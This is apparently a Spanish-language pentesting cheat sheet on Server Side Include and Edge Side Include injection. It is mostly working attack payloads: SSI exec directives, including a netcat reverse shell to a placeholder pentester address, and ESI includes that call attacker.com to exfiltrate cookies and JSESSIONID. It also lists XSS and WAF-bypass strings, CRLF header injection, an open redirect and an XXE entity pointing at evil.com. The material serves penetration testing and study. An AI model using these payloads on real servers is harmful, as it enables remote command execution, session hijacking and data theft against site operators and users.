Server Side Inclusion/Edge Side Inclusion Injection

Reading time: 8 minutes

Información Básica sobre Server Side Inclusion

(Introducción tomada de Apache docs)

SSI (Server Side Includes) son directivas que se colocan en páginas HTML y se evalúan en el servidor mientras se sirven las páginas. Te permiten agregar contenido generado dinámicamente a una página HTML existente, sin tener que servir toda la página a través de un programa CGI u otra tecnología dinámica.
Por ejemplo, podrías colocar una directiva en una página HTML existente, como:

<!--#echo var="DATE_LOCAL" -->

Y, cuando se sirva la página, este fragmento será evaluado y reemplazado por su valor:

Tuesday, 15-Jan-2013 19:28:54 EST

La decisión de cuándo usar SSI y cuándo hacer que tu página sea completamente generada por algún programa, generalmente depende de cuánto de la página es estático y cuánto necesita ser recalculado cada vez que se sirve la página. SSI es una excelente manera de agregar pequeñas piezas de información, como la hora actual - mostrada arriba. Pero si la mayoría de tu página se genera en el momento en que se sirve, necesitas buscar alguna otra solución.

Puedes inferir la presencia de SSI si la aplicación web utiliza archivos con las extensiones .shtml, .shtm o .stm, pero no es solo el caso.

Una expresión típica de SSI tiene el siguiente formato:

<!--#directive param="value" -->

Verificar

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

Hay un problema con el almacenamiento en caché de información o aplicaciones dinámicas ya que parte del contenido puede haber variado para la próxima vez que se recupere el contenido. Esto es para lo que se utiliza ESI, para indicar utilizando etiquetas ESI el contenido dinámico que necesita ser generado antes de enviar la versión en caché.
Si un atacante es capaz de inyectar una etiqueta ESI dentro del contenido en caché, entonces podría ser capaz de inyectar contenido arbitrario en el documento antes

Surrogate-Control: content="ESI/1.0"

Si no puedes encontrar este encabezado, el servidor podría estar utilizando ESI de todos modos.
Un enfoque de explotación ciega también se puede utilizar ya que una solicitud debería llegar al servidor del atacante:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

Explotación de ESI

GoSecure creó una tabla para entender los posibles ataques que podemos intentar contra diferentes software compatibles con ESI, dependiendo de la funcionalidad soportada:

• Includes: Soporta la directiva <esi:includes>
• Vars: Soporta la directiva <esi:vars>. Útil para eludir filtros XSS
• Cookie: Las cookies del documento son accesibles para el motor ESI
• Encabezados de upstream requeridos: Las aplicaciones de sustitución no procesarán las declaraciones ESI a menos que la aplicación de upstream proporcione los encabezados
• Lista blanca de hosts: En este caso, las inclusiones ESI solo son posibles desde hosts de servidor permitidos, haciendo que SSRF, por ejemplo, solo sea posible contra esos hosts

XSS

La siguiente directiva ESI cargará un archivo arbitrario dentro de la respuesta del servidor

<esi:include src=http://attacker.com/xss.html>

Bypass client XSS protection

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

Robar Cookie

• Robo de cookie remoto

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />

• Robar cookie HTTP_ONLY con XSS reflejándolo en la respuesta:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Archivo Local Privado

No confunda esto con una "Inclusión de Archivo Local":

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Redirección Abierta

Lo siguiente añadirá un encabezado Location a la respuesta

<!--esi $add_header('Location','http://attacker.com') -->

Agregar encabezado

• Agregar encabezado en solicitud forzada

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>

• Agregar encabezado en la respuesta (útil para eludir "Content-Type: text/json" en una respuesta con XSS)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF en el encabezado Add (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

Esto enviará información de depuración incluida en la respuesta:

<esi:debug/>

ESI + XSLT = XXE

Es posible usar la sintaxis de eXtensible Stylesheet Language Transformations (XSLT) en ESI simplemente indicando el valor del parámetro dca como xslt. Lo que podría permitir abusar de XSLT para crear y explotar una vulnerabilidad de Entidad Externa XML (XXE):

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT file:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Revisa la página XSLT:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Referencias

• https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/
• https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/
• https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91

Lista de Detección de Fuerza Bruta

Auto_Wordlists/wordlists/ssi_esi.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub